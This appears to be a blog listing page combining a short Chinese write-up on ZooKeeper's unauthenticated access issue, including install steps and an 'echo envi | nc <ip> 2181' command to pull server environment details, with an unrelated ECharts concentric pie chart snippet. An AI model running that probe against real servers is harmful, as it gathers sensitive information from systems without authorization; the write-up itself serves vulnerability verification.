原文地址 https://www.jianshu.com/p/86a7f506d1d2

ZooKeeper 默认开启在 2181 端口,在未进行任何访问控制情况下,攻击者可通过执行 envi 命令获得系统大量的敏感信息,包括系统名称、Java 环境。

0x00 ZooKeeper 安装:

Zookeeper 的默认开放端口是 2181

wget https://mirrors.tuna.tsinghua.edu.cn/apache/zookeeper/zookeeper-3.4.10/zookeeper-3.4.10.tar.gz

tar -zxvf zookeepre-3.4.10.tar.gz
cd zookeeper-3.4.10/
cd conf/
vi zoo.cfg
### 配置单机模式
tickTime=2000
dataDir=/tmp/zookeeper/data
dataLogDir=/tmp/zookeeper/logs
clientPort=2181

bin/zkServer.sh start //启动
### 启动client连接server
bin/zkCli.sh -server localhost:2181

0x01 漏洞验证:

执行以下命令即可远程获取该服务器的环境:
echo envi|nc 192.168.15.74 2181

直接连接:
./zkCli.sh -server ip:port

阅读全文 »

同心圆

测试地址:https://echarts.apache.org/examples/zh/editor.html?c=pie-simple

var data = [
{
name: "博士及以上",
value: 0.2,
},
{
name: "硕士及以上",
value: 0.3,
},
{
name: "本科及以上",
value: 1,
},
{
name: "高中",
value: 0.1,
},
{
name: "初中及以下",
value: 0.1,
},
{
name: "其他",
value: 0.8,
},
];
var dataStyle = {
normal: {
label: { show: false },
labelLine: { show: false },
shadowBlur: 40,
shadowColor: "rgba(40, 40, 40, 0.5)",
},
};
var placeHolderStyle = {
normal: {
color: "rgba(0,0,0,0)",
label: { show: false },
labelLine: { show: false },
},
emphasis: {
color: "rgba(0,0,0,0)",
},
};
var legendData = [];
function getData(data) {
var sortData = data.sort((a, b) => {
return b.value - a.value;
});
var res = [];
for (let i = 0; i < sortData.length; i++) {
legendData.push(sortData[i].name);
res.push({
type: "pie",
clockWise: false, //顺时加载
hoverAnimation: false, //鼠标移入变大
radius: [200 - i * 20, 220 - i * 20], //radius: [65 - i * 15 + '%', 57 - i * 15 + '%'],
itemStyle: dataStyle,
data: [
{
value: sortData[i].value,
name: sortData[i].name,
},
{
value: 1 - sortData[i].value,
name: "invisible",
itemStyle: placeHolderStyle,
},
],
});
}
return res;
}
option = {
backgroundColor: "#f4f2e3",
color: ["#85b6b2", "#6d4f8d", "#cd5e7e", "#e38980", "#f7db88"],
tooltip: {
show: true,
formatter: "{b} : {c} ({d}%)",
},
legend: {
data: legendData,
type: "scroll",
orient: "vertical",
align: "left", // 图例标记对其方式
y: "center", //延Y轴居中
x: "right", //居右显示
padding: 10, //调节legend的位置
formatter: function (name) {
let total = 0;
let target;
for (let i = 0, l = data.length; i < l; i++) {
total += data[i].value;
if (data[i].name == name) {
target = data[i].value;
}
}
return name + " " + ((target / total) * 100).toFixed(0) + "%";
},
},
toolbox: {
show: true,
feature: {
saveAsImage: { show: true },
},
},
series: getData(data),
};